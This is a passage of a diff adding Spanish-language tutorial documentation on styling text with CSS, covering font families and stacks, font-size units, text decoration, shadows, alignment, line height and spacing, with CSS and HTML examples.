+   <td></td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">Times New Roman</td>
+   <td>serif</td>
+   <td>Algunos sistemas operativos cuentan con una versión alternativa (posiblemente más antigua) del tipo de letra <em>Times New Roman</em> llamado <em>Times</em>. Se considera una buena práctica usar ambos, con <em>Times New Roman</em> como la opción preferida.</td>
+  </tr>
+  <tr>
+   <td>Trebuchet MS</td>
+   <td>sans-serif</td>
+   <td>Hay que tener cuidado al usar este tipo de letra porque no está ampliamente disponible en los sistemas operativos móviles.</td>
+  </tr>
+  <tr>
+   <td>Verdana</td>
+   <td>sans-serif</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota</strong>: Entre otros recursos, el sitio <a href="http://www.cssfontstack.com/">cssfontstack.com</a> mantiene una lista de tipos de letra seguros disponibles en los sistemas operativos para Windows y Mac, que puede ayudarte en la toma de decisiones acerca de lo que consideras seguro para tus propósitos.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay una manera de descargar un tipo de letra personalizado junto con la página web, que te permite personalizar el uso de los tipos de letra de la manera que desees: <strong>web fonts</strong>. Esto es un poco más complejo, y lo vamos a exponer más adelante en un <a href="/es/docs/Learn/CSS/Styling_text/Fuentes_web">artículo independiente</a> del módulo.</p>
+</div>
+
+<h4 id="Fuentes_predeterminadas">Fuentes predeterminadas</h4>
+
+<p>CSS define cinco nombres genéricos para los tipos de letra <code>serif</code><font face="Open Sans, Arial, sans-serif">, </font><code>sans-serif</code>,<font face="Open Sans, Arial, sans-serif"> </font><code>monospace</code>, <code>cursive</code> y <code>fantasy</code>. Son muy genéricos y el tipo de letra exacto que se va a utilizar cuando se especifiquen dichos nombres dependerá de cada navegador y puede variar dependiendo del sistema operativo. Representa el <em>peor escenario posible</em>, en el que el navegador tratará de proporcionar al menos una fuente que parezca apropiada. <code>serif</code>, <code>sans-serif</code> y <code>monospace</code> son bastante predecibles y el navegador debería proporcionar algo razonable. Por otra parte, <code>cursive</code> y <code>fantasy</code> son menos predecibles y te recomendamos que las uses con cautela, y vayas probando a medida que avanzas.</p>
+
+<p>Los cinco nombres se definen de la manera siguiente:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nombre</th>
+   <th scope="col">Definición</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>serif</code></td>
+   <td>Tipos de letra que tienen <em><a href="https://es.wikipedia.org/wiki/Gracia_(tipograf%C3%ADa)">serifas</a></em> (pequeños adornos, en general en los extremos de los trazos de los caracteres tipográficos)</td>
+   <td><span style="font-family: serif;">Mi gran elefante rojo</span></td>
+  </tr>
+  <tr>
+   <td><code>sans-serif</code></td>
+   <td>Tipos de letra que carecen de <em>serifas</em>.</td>
+   <td><span style="font-family: sans-serif;">Mi gran elefante rojo</span></td>
+  </tr>
+  <tr>
+   <td><code>monospace</code></td>
+   <td>Tipos de letra en que cada carácter tiene el mismo ancho; se usan con frecuencia en las listas de sentencias de los códigos de programación.</td>
+   <td><span style="font-family: monospace;">Mi gran elefante rojo</span></td>
+  </tr>
+  <tr>
+   <td><code>cursive</code></td>
+   <td>Tipos de letra que intentan emular la letra manuscrita, con trazos fluidos y conectados.</td>
+   <td><span style="font-family: cursive;">Mi gran elefante rojo</span></td>
+  </tr>
+  <tr>
+   <td><code>fantasy</code></td>
+   <td>Tipos de letra que pensados para ser decorativos.</td>
+   <td><span style="font-family: fantasy;">Mi gran elefante rojo</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Listas_de_tipos_de_letra">Listas de tipos de letra</h4>
+
+<p>Ya que no puedes garantizar la disponibilidad de los tipos de letra que deseas utilizar (incluso un tipo de letra seguro para la web podría fallar por alguna razón), puedes proporcionar un <strong>lista de tipos de letra</strong> para que el navegador tenga diversos tipos de letra entre los que elegir. Consiste simplemente en introducirlo como el valor de <code>font-family</code>, que consistirá en una lista de diversos nombres de tipos de letra separados por comas, por ejemplo.</p>
+
+<pre class="brush: css notranslate">p {
+  font-family: "Trebuchet MS", Verdana, sans-serif;
+}</pre>
+
+<p>En tal caso, el navegador comienza al principio de la lista y busca si el primer tipo de letra está disponible en la máquina. Si es así, aplica ese tipo de letra a los elementos seleccionados, y si no, lo intenta con el nombre siguiente de la lista; y así sucesivamente.</p>
+
+<p>Es una buena idea proporcionar un nombre de tipo de letra genérico al final de la lista para que el navegador pueda al menos proporcionar algo aproximadamente adecuado en el caso de que ninguno de los tipos de letra que deseas esté disponible. Para ilustrar este punto: los navegadores asignan a los párrafos el tipo de letra <em>serif</em> por defecto, que normalmente es Times New Roman, si no hay ninguna otra opción disponible, pero esto no resulta conveniente cuando se espera un tipo de letra <em>sans-serif</em>!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los nombres de los tipos de letra que están constituidos por más de una palabra (como <code>Trebuchet MS</code> ) han de ponerse entre comillas, por ejemplo <code>"Trebuchet MS"</code>.</p>
+</div>
+
+<h4 id="Un_ejemplo_con_font-family">Un ejemplo con font-family</h4>
+
+<p>Vamos a introducir en nuestro ejemplo anterior una fuente de tipo sans-serif para los párrafos:</p>
+
+<pre class="brush: css notranslate">p {
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>Esto nos da el resultado siguiente:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Un_ejemplo_con_font-family', '100%', 220) }}</p>
+
+<h3 id="Tamaño_de_la_letra">Tamaño de la letra</h3>
+
+<p>En el artículo sobre <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">Unidades y valores de CSS</a> de nuestro módulo anterior, revisamos las unidades de longitud y tamaño. El tamaño del tipo de letra (establecido con la propiedad {{cssxref("font-size")}}) puede tomar valores medidos en la mayoría de estas unidades (y en otras, como <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS#Porcentajes">porcentajes</a>). Sin embargo, las unidades más comunes que vas a usar para ajustar el tamaño del texto son:</p>
+
+<ul>
+ <li>Unidades <code>px</code> (píxeles): El número de píxeles de altura que deseas que tenga el texto. Esta es una unidad absoluta, da como resultado el mismo valor calculado final para el tipo de letra en la página en casi cualquier situación.</li>
+ <li>Unidades <code>em</code>: 1em equivale al tamaño de tipo de letra que se haya establecido en el elemento padre del elemento activo al que aplicamos estilo (más específicamente, el ancho de una letra M mayúscula contenida dentro del elemento padre). Este puede ser complejo de resolver si hay muchos elementos anidados con diferentes tamaños de tipo de letra establecidos, pero es factible, como verás a continuación. Pero, ¿para qué molestarse en ello? Porque resulta bastante natural una vez que te acostumbras a ello, y puedes usar unidades <code>em</code> para establecer el tamaño de todo, no solo del texto. Puedes tener un sitio web completo dimensionado con unidades <code>em</code>, lo que facilita su mantenimiento.</li>
+ <li>Unidades <code>rem</code>: Funcionan igual que las unidades <code>em</code>, excepto que 1<code>rem</code> equivale al tamaño del tipo de letra establecido en el elemento raíz del documento (es decir, en {{htmlelement("html")}}), no en el elemento padre. Esto facilita mucho los cálculos de los tamaños del tipo de letra, aunque te puede dar mucha guerra si quieres incluir navegadores que ya son muy antiguos porque las versiones de Internet Explorer 8 y anteriores no admiten la unidad <code>rem</code>.</li>
+</ul>
+
+<p>La propiedad <code>font-size</code> de un elemento se hereda del elemento padre. Todo comienza con el elemento raíz de todo el documento ({{htmlelement("html")}}) cuya propiedad <code>font-size</code> se establece a en 16px como estándar en todos los navegadores. Cualquier párrafo (o cualquier otro elemento que no tenga un tamaño diferente establecido por el navegador) dentro del elemento raíz tendrá un tamaño final de 16px. Otros elementos pueden tener diferentes tamaños predeterminados, por ejemplo un elemento {{htmlelement("h1")}} tiene de manera predeterminada un tamaño establecido de 2em, por lo que tendrá un tamaño final de 32px.</p>
+
+<p>Las cosas se vuelven más complicadas cuando se empieza a alterar el tamaño del tipo de letra de los elementos anidados. Por ejemplo, si tu página incluye un elemento {{htmlelement("article")}} y estableces un tamaño de fuente de <code>1.5em</code> (que resultará en un tamaño final de 24px), y luego quieres que los párrafos dentro del elemento <code>&lt;article&gt;</code> tengan un tamaño de letra calculado de 20px, ¿qué valor de unidad <code>em</code> deberías usar?</p>
+
+<pre class="brush: html notranslate">&lt;!-- El tamaño de letra base del documento es 16px --&gt;
+&lt;article&gt; &lt;!-- Si mi tamaño de letra es 1.5em --&gt;
+  &lt;p&gt;Mi párrafo&lt;/p&gt; &lt;!-- ¿Cómo calculo el tamaño del tipo de letra para que de 20px? --&gt;
+&lt;/article&gt;</pre>
+
+<p>Necesitarías establecer el valor en unidades <code>em</code> de 20/24, es decir, <code>0.83333333 em</code>. El cálculo puede ser complicado, por lo que hay que pensarlo bien a la hora de aplicar estilo a las cosas. Lo mejor es usar unidades <code>rem</code> donde se pueda, porque simplifican las cosas, y evitar establecer un tamaño de letra concreto para los elementos del contenedor, siempre que sea posible.</p>
+
+<h4 id="Un_ejemplo_sencillo_de_definición_de_tamaños">Un ejemplo sencillo de definición de tamaños</h4>
+
+<p>Al dimensionar el texto, en general es una buena idea establecer el tamaño básico del tipo de letra del documento (<code>font-size</code>) en 10 px, de modo que los cálculos son mucho más fáciles de resolver, puesto que entonces los valores (r)em que necesites son el tamaño del tipo de letra en píxeles dividido por 10, no por 16. Luego de hacer eso, puedes establecer con facilidad los diferentes tamaños de los tipos de letra de tu documento como desees. Es una buena idea hacer una lista de todos los conjuntos de reglas de tamaño de fuente (<code>font-size</code>) en una zona concreta de tu hoja de estilo para que resulten fáciles de encontrar.</p>
+
+<p>Nuestro nuevo resultado es:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>{{ EmbedLiveSample('Un_ejemplo_sencillo_de_definición_de_tamaños', '100%', 220) }}</p>
+
+<h3 id="Estilo_y_cuerpo_del_tipo_de_letra_efectos_y_decoración_del_texto">Estilo y cuerpo del tipo de letra, efectos y decoración del texto</h3>
+
+<p>El CSS proporciona cuatro propiedades comunes para alterar el efecto visual / énfasis del texto:</p>
+
+<ul>
+ <li>{{cssxref("font-style")}}: Se usa para activar y desactivar el texto en cursiva. Los valores posibles son los siguientes (raramente usarás esto, a menos que desees desactivar algún estilo de cursiva por alguna razón):
+  <ul>
+   <li><code>normal</code>: Pone el texto en tipo de letra normal (desactiva la cursiva).</li>
+   <li><code>italic</code>: Pone el texto en la versión cursiva del tipo de letra, si está disponible; si no está disponible, simulará cursiva con el modo <code>oblique</code> en su lugar.</li>
+   <li><code>oblique</code>: Pone el texto en una versión de tipo de letra cursiva simulada, que se genera inclinando la versión normal.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("font-weight")}}: Establece el grueso o peso del texto. Puede haber muchos valores si dispones de muchas variantes de fuente (como <em>-light</em>, <em>-normal</em>, <em>-bold</em>, <em>-extrabold</em>, <em>-black</em>, etc.), pero en realidad raramente usarás alguna de ellas, más allá de los estilos <code>normal</code> y <code>bold</code>:
+  <ul>
+   <li><code>normal</code>, <code>bold</code>: Grueso del tipo de letra normal y <strong style="font-weight: bold;">negrita</strong></li>
+   <li><code>lighter</code>, <code>bolder</code>: Establece el grueso de la negrita del elemento activo un nivel por debajo o por encima del grueso de su elemento padre.</li>
+   <li><code>100</code>–<code>900</code>: Valores numéricos de negrita, que proporcionan un control más detallado que las palabras clave anteriores, si es necesario.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("text-transform")}}: Te permite practicar algunas transformaciones sobre tu tipo de letra. Los valores incluyen:
+  <ul>
+   <li><code>none</code>: Impide cualquier transformación.</li>
+   <li><code>uppercase</code>: Transforma TODO EL TEXTO A MAYÚSCULAS.</li>
+   <li><code>lowercase</code>: Transforma todo el texto a minúsculas.</li>
+   <li><code>capitalize</code>: Transforma <span style="text-transform: capitalize;">Las Letras Iniciales De Cada Palabra A Mayúscula</span>.</li>
+   <li><code>full-width</code>: Transforma todos los caracteres para cada uno quede <span style="text-transform: full-width;">dentro de una caja de ancho fijo</span>, similar a una fuente monoespaciada, lo que permite, por ejemplo, la alineación de caracteres latinos junto con caracteres asiáticos (chino, japonés, coreano.)</li>
+  </ul>
+ </li>
+ <li>{{cssxref("text-decoration")}}: Activa/desactiva decoraciones en los tipos de letra (usarás esto principalmente para desactivar el subrayado por defecto de los enlaces al aplicarles estilo). Los valores disponibles son:
+  <ul>
+   <li><code>none</code>: Desactiva cualquier decoración de texto que presente.</li>
+   <li><code>underline</code>: <u>Subraya el texto</u>.</li>
+   <li><code>overline</code>: <span style="text-decoration: overline;">Proporciona al texto una línea superpuesta</span>.</li>
+   <li><code>line-through</code>: Coloca un <s style="text-decoration: line-through;">tachado sobre el texto</s>.</li>
+  </ul>
+  Observa que {{cssxref("text-decoration")}} puede aceptar diversos valores a la vez, de modo que puedes incluir diversas decoraciones simultáneas, por ejemplo <span style="text-decoration: underline overline;"><code>text-decoration: underline overline</code></span>. Ten encuenta también que {{cssxref("text-decoration")}} es una propiedad abreviada de {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} y {{cssxref("text-decoration-color")}}. Puedes utilizar combinaciones de los valores de esta propiedad para crear efectos interesantes, por ejemplo <span style="text-decoration: line-through red wavy;"><code>text-decoration: line-through red wavy</code>.</span></li>
+</ul>
+
+<p>Añadamos un par de estas propiedades a nuestro ejemplo. Nuestro nuevo resultado quedaría como este:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+</div>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+
+<p>{{ EmbedLiveSample('Estilo_y_cuerpo_del_tipo_de_letra_efectos_y_decoración_del_texto', '100%', 220) }}</p>
+
+<h3 id="Textos_sombreados">Textos sombreados</h3>
+
+<p>Puedes aplicar sombras a tus textos con la propiedad {{cssxref("text-shadow")}}. Esta propiedad puede tomar hasta cuatro valores, como se muestra en ejemplo siguiente:</p>
+
+<pre class="brush: css notranslate">text-shadow: 1px 1px 1px red;</pre>
+
+<p>Las cuatro propiedades son las siguientes:</p>
+
+<ol>
+ <li>El desplazamiento horizontal de la sombra desde el texto original; admite la mayoría de las <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidades y magnitudes</a> de que dispone CSS, pero lo más habitual es usar <code>px</code>. Es un valor obligatorio.</li>
+ <li>El desplazamiento vertical de la sombra desde el texto original; se comporta básicamente igual que el desplazamiento horizontal, excepto porque mueve la sombra arriba/abajo, y no hacia derecha/izquierda. Es un valor obligatorio.</li>
+ <li>El radio de desenfoque; cuanto más alto es este valor, mayor es la dispersión de la sombra. Si no se incluye este valor, el valor por defecto es 0, y no hay desenfoque. Esta propiedad admite la mayoría de las <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidades y magnitudes</a> de que dispone el CSS.</li>
+ <li>El color de base de la sombra, que admite cualquier <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidad de color de que dispone CSS</a>. Si no se incluye este valor, el valor predeterminado es <code>negro</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Los valores con desplazamiento positivo mueven la sombra hacia la derecha o hacia abajo, mientras que los valores con desplazamiento negativo, por ejemplo <code>-1px -1px</code>, mueven la sombrea hacia la izquierda o hacia arriba.</p>
+</div>
+
+<h4 id="Sombras_múltiples">Sombras múltiples</h4>
+
+<p>Puedes aplicar diversas sombras al mismo texto incluyendo múltiples valores de sombra separados por comas, por ejemplo:</p>
+
+<pre class="brush: css notranslate"><code class="language-css"><span class="property token">text-shadow</span><span class="punctuation token">:</span> -<span class="number token">1</span>px -<span class="number token">1</span>px <span class="number token">1</span>px <span class="hexcode token">#aaa</span>,
+             <span class="number token">0</span>px <span class="number token">4</span>px <span class="number token">1</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.5</span><span class="punctuation token">)</span>,
+             <span class="number token">4</span>px <span class="number token">4</span>px <span class="number token">5</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.7</span><span class="punctuation token">)</span>,
+             <span class="number token">0</span>px <span class="number token">0</span>px <span class="number token">7</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Si aplicamos esto al elemento {{htmlelement("h1")}} de nuestro ejemplo <em>Tommy The Cat</em>, obtenemos esto:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 26px;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 14px;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Sombras_múltiples', '100%', 220) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver más ejemplos interesantes del uso de <code>text-shadow</code> en el artículo de <em>Sitepoint</em> <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">Moonlighting with CSS text-shadow</a>.</p>
+</div>
+
+<h2 id="Diseño_del_texto">Diseño del texto</h2>
+
+<p>Una vez tratadas las propiedades básicas para los tipos de letra, echemos un vistazo a las propiedades que podemos usar para la disposición del texto.</p>
+
+<h3 id="Alineación_del_texto">Alineación del texto</h3>
+
+<p>La propiedad {{cssxref("text-align")}} se usa para controlar la forma en que el texto se alinea dentro de la caja que lo contiene. Los valores disponibles para esta propiedad son los siguientes, y funcionan de la misma forma que en una aplicación de procesamiento de texto:</p>
+
+<ul>
+ <li><code>left</code>: Alinea el texto por la izquierda.</li>
+ <li><code>right</code>: Alinea el texto por la derecha.</li>
+ <li><code>center</code>: Centra el texto.</li>
+ <li><code>justify</code>: Varía los espacios entre las palabras para que todas las líneas de texto tengan el mismo ancho. Debes usar este valor con prudencia porque puede quedar terrible, especialmente si el párrafo al que se aplica contiene muchas palabras largas. Si tienes intención de utilizar esta propiedad, también deberías pensar en alguna otra, como {{cssxref("hyphens")}}, para dividir las palabras largas entre las líneas.</li>
+</ul>
+
+<p>Si aplicamos <code>text-align: center;</code> al elemento {{htmlelement("h1")}} de nuestro ejemplo, obtendremos esto:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Alineación_del_texto', '100%', 220) }}</p>
+
+<h3 id="Interlineado">Interlineado</h3>
+
+<p>La propiedad {{cssxref("line-height")}} establece la altura entre cada línea de texto; esta propiedad admite la mayoría de las <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidades y magnitudes</a>, pero también puede tomar un valor sin unidades, que actúa como un multiplicador y generalmente se considera la mejor opción porque se multiplica la propiedad {{cssxref("font-size")}} para obtener la altura de la línea (<code>line-height</code>). El texto del cuerpo (<code>body</code>) generalmente se ve mejor y es más fácil de leer si hay más separación entre las líneas; la altura recomendada de la línea es entre 1.5-2 (a doble espacio). Por lo tanto, para configurar nuestras líneas de texto a 1.5 veces la altura de la fuente, deberías usar esto:</p>
+
+<pre class="brush: css notranslate">line-height: 1.5;</pre>
+
+<p>Aplicando esto a los elementos {{htmlelement("p")}} en nuestro ejemplo nos daría este resultado:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Interlineado', '100%', 250) }}</p>
+
+<h3 id="Espacio_entre_letras_y_espacio_entre_palabras">Espacio entre letras y espacio entre palabras</h3>
+
+<p>Las propiedades {{cssxref("letter-spacing")}} y {{cssxref("word-spacing")}} te permiten establecer el espacio entre las letras y entre las palabras del texto. No los usarás a menudo, pero podría ser útil para obtener una apariencia determinada o para mejorar la legibilidad de un tipo de letra particularmente denso. Estas propiedades admiten la mayoría de las <a href="/es/docs/Learn/CSS/Building_blocks/Valores_y_unidades_CSS">unidades y magnitudes</a>.</p>
+
+<p>Así, como ejemplo, podemos aplicar a la primera línea de los elementos {{htmlelement("p")}} de nuestro ejemplo lo siguiente:</p>
+
+<pre class="brush: css notranslate">p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}</pre>
+
+<p>y obtendremos:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;h1&gt;Tommy the cat&lt;/h1&gt;
+
+&lt;p&gt;Well I remember it as though it were a meal ago...&lt;/p&gt;
+
+&lt;p&gt;Said Tommy the Cat as he reeled back to clear whatever foreign matter
+ may have nestled its way into his mighty throat. Many a fat alley rat
+had met its demise while staring point blank down the cavernous barrel of
+ this awesome prowling machine. Truly a wonder of nature this urban
+predator — Tommy the cat had many a story to tell. But it was a rare
+occasion such as this that he did.&lt;/p&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+  text-shadow: -1px -1px 1px #aaa,
+               0px 2px 1px rgba(0,0,0,0.5),
+               2px 2px 2px rgba(0,0,0,0.7),
+               0px 0px 3px rgba(0,0,0,0.4);
+  text-align: center;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Espacio_entre_letras_y_espacio_entre_palabras', '100%', 250) }}</p>
+
+<h3 id="Otras_propiedades_interesantes">Otras propiedades interesantes</h3>
+
+<p>Las propiedades anteriores nos dan una idea de cómo empezar a aplicar texto a una página web, pero hay muchas más propiedades que puedes usar. Nuestro objetivo aquí es solo exponer las más importantes. Cuando te hayas acostumbrado a usar las propiedades anteriores, también deberías explorar las siguientes:</p>
+
+<p>Aplicación de estilos a tipos de letra:</p>
+
+<ul>
+ <li>{{cssxref("font-variant")}}: Cambia entre las opciones de versalita y normal del tipo de letra.</li>
+ <li>{{cssxref("font-kerning")}}: Activa/Desactiva las opciones de interletraje del tipo de letra.</li>
+ <li>{{cssxref("font-feature-settings")}}: Activa/Desactiva diversas características de los tipos de letra <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a>.</li>
+ <li>{{cssxref("font-variant-alternates")}}: Controla el uso de los caracteres alternativos para un tipo de letra dado.</li>
+ <li>{{cssxref("font-variant-caps")}}: Controla el uso de los caracteres alternativos de las mayúsculas.</li>
+ <li>{{cssxref("font-variant-east-asian")}}: Controla el uso de los caracteres alternativos en textos en idiomas del Asia Oriental, como el japonés y el chino.</li>
+ <li>{{cssxref("font-variant-ligatures")}}: Controla qué ligaduras y formas contextuales se usarán en el texto.</li>
+ <li>{{cssxref("font-variant-numeric")}}: Controla el uso de los caracteres alternativos para números, fracciones y marcadores de ordinales.</li>
+ <li>{{cssxref("font-variant-position")}}: Controla el uso de los caracteres alternativos de tamaños más pequeños posicionados como subíndice y superíndice.</li>
+ <li>{{cssxref("font-size-adjust")}}: Ajusta el tamaño visual del texto independientemente del tamaño real del tipo de letra.</li>
+ <li>{{cssxref("font-stretch")}}: Cambia entre posibles versiones ampliadas de un tipo de letra determinado.</li>
+ <li>{{cssxref("text-underline-position")}}: Especifica la posición de los subrayados con el valor <code>underline</code> de la propiedad <code>text-decoration-line</code>.</li>
+ <li>{{cssxref("text-rendering")}}: Intenta optimizar la representación del texto.</li>
+</ul>
+
+<p>Estilos de disposición de los textos</p>
+
+<ul>
+ <li>{{cssxref("text-indent")}}: Especifica el espacio horizontal que debe dejarse antes del comienzo de la primera línea del contenido de texto.</li>
+ <li>{{cssxref("text-overflow")}}: Define cómo se señala el contenido que los usuarios no ven porque desborda.</li>
+ <li>{{cssxref("white-space")}}: Define cómo se usan los espacios en blanco y los saltos de línea asociados dentro del elemento.</li>
+ <li>{{cssxref("word-break")}}: Especifica si se deben dividir las palabras a final de línea.</li>
+ <li>{{cssxref("direction")}}: Define la dirección del texto (esto depende del idioma, y por lo general es mejor dejar que HTML maneje esa parte, porque está vinculada al contenido del texto).</li>
+ <li>{{cssxref("hyphens")}}: Activa/Desactiva la separación de palabras en los idiomas admitidos.</li>
+ <li>{{cssxref("line-break")}}: Relaja o refuerza el salto de línea en los idiomas asiáticos.</li>
+ <li>{{cssxref("text-align-last")}}: Define cómo es la alineación de la última línea de un bloque o línea justo antes de un salto de línea forzado.</li>
+ <li>{{cssxref("text-orientation")}}: Define la orientación del texto en una línea.</li>
+ <li>{{cssxref("word-wrap")}}: Especifica si el navegador puede dividir palabras a final de línea para evitar desbordamientos del contenido.</li>
+ <li>{{cssxref("writing-mode")}}: Define si las líneas de texto se disponen en horizontal o en vertical y la dirección en la que fluyen las líneas subsiguientes.</li>
+</ul>
+
+<h2 id="Propiedades_abreviadas_para_los_tipos_de_letra">Propiedades abreviadas para los tipos de letra</h2>
+
